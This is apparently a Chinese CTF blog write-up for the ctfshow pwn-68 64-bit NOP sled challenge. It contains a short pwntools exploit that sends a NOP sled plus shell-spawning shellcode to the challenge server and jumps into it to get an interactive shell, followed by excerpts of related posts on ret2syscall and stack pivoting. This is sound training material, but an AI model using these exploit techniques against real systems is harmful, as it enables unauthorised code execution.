ctfshow pwn-68

发表于2026-04-09|更新于2026-04-13|ctf

|浏览量:

题目：64bit nop sled
这是 64 位程序，保护机制和上一题一样
唯一不同的就是这：

把上一题的 0x2d 换成 0x35 就好（0x15+8+8+16 (栈对齐)=0x35）
exp:

from pwn import *
context(arch='amd64',os='linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28134)
shellcode = asm(shellcraft.sh())
payload = '\x90'*1336 + shellcode
io.recvuntil("The current location: ")
addr = int(io.recvline(),16)
io.recvuntil("> ")
io.sendline(payload)
io.recvuntil("> ")
sh = addr + 668 + 0x35
io.sendline(hex(sh))
io.interactive()

文章作者: LAIANDI

文章链接: https://laiandi.github.io/2026/04/09/pwn68/

版权声明: 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 LAD！

相关推荐

题目：32bit nop sled checksec 只有栈溢出保护 IDA分析运行一下这个 v5 地址被打印输出，但一直是动态变化的。代码的大概意思是先输出一些信息，然后输出的会有栈中的地址，从 query_position 函数可以发现函数返回值是 v1 的地址加上 v2 的值，而 v1 是局部变量，那么它的地址就是栈里的地址，加上 v2 就代表接收函数返回值的变量 position=v1 的地址 + v2 的值 (即 & v1+v2)。然后程序会让我们输入大小为 4096 的字符串给 seed 变量，之后再让我们输入一个地址，将其赋给 v5，然后使用 v5 从我们输入的这个地址执行这个地址的代码。因此我们可以从堆栈中执行。向程序提供 shellcode 很容易，因为它只要求输入。现在我们只需要找到一种方法来跳转到我们的 shellcode 的地址从而执行这个 shellcode。刚好有个 fgets 可以读取 shellcode 到 seed，但是我们并不知道 seed 的地址。跟进 query_position 函数：char *query_p...

题目:32位的ret2syscall什么是ret2syscallret2syscall（return-to-syscall）就是：利用栈溢出控制寄存器，让程序直接执行 Linux 的系统调用，从而获得 shell 或执行任意系统级操作。一句话总结：不跳函数，不用 libc，不用 gadget，直接让程序执行 execve(“/bin/sh”,0,0) 这种系统调用。 checksec:仅开启NX保护 ida分析：有明显栈溢出漏洞、gets函数；题目描述以及各处都提示了让用 ret2syscall 来进行攻击，我们可以利用程序中的 gadgets 来获得 shell，而对应的 shell 获取则是利用系统调用。大致思路是先栈溢出填充缓冲区，利用 gadgets 调用 syscall，也就是传递它的调用号 0xb，用 rax 寄存器传递，然后调用 execve 函数： 1execve("/bin/sh",NULL,NULL) execve函数：execve 是 Linux 里最核心、最底层的“执行程序”系统调用。它不是普通函数，而是系统调...

题目：栈空间不够怎么办？栈迁移，没见过cs:32 位开启 NX 保护，部分开启 RELRO运行一下：这是重点！后续编写 exp 要注意的细节。 IDA 分析，查看 main 中的 ctfshow 函数：其实在连靶机进行交互时，无论你输入什么，都是招原样给你打印出来的，主要还是看 read、memset 函数，况且没开 canary 保护有站处理漏洞可以利用。还看到了 system 函数。跟进 hackerout 函数：看到有 system 函数，不过里边不是 binsh，问题不大可以构造出来。看回 ctfshow 函数的栈溢出漏洞，可以发现 s 容量是 36，但 s 到 ebp 距离有 0x28=40，加上覆盖 ebp 本身的 4 字节，仅 8 字节（44-36=8）溢出空间，无法直接布置 system(“/bin/sh”); 所需的 ROP 链（需覆盖返回地址 + 传递参数，至少 12 字节以上），那么这里就应该要想到栈迁移了。栈迁移的本质是通过 leave 指令改变栈顶指针（esp）的位置，将原本狭小的栈空间转移到我们可控的大...

题目：接着练ret2syscall，多系统函数调用 checksec 一下： 32 位关闭栈保护与 PIE。 IDA 分析，依旧静态编译：看到 gets 函数，和上题差不多，都是利用栈溢出漏洞。 /bin/sh 在 IDA 上搜索不到，不能返回地址执行 getshell 了，那就找另外一种方法。确实难找，read 衍生函数很多，找到个单纯 “read” 的函数是真难……有 read 函数那我们可以用它去读取字符串到内存呐，利用 read 函数来进行手动写入 “/bin/sh” 字符串。在 main 函数中没看到调用 read 函数，只能我们写 exp 时利用 syscall 去调用 read 函数，搭配 gadgets 去让 read 通过寄存器去读取 /bin/sh 字符串。可以看到 read 函数需要三个参数，加上自身系统调用号，我们就需要使用 eax、ebx、ecx、edx 的 gadgets。 gadget 查询：pop_edx_ecx_ebx_ret：0x0806ecb0 pop_eax_ret：0x080b...

数据加载中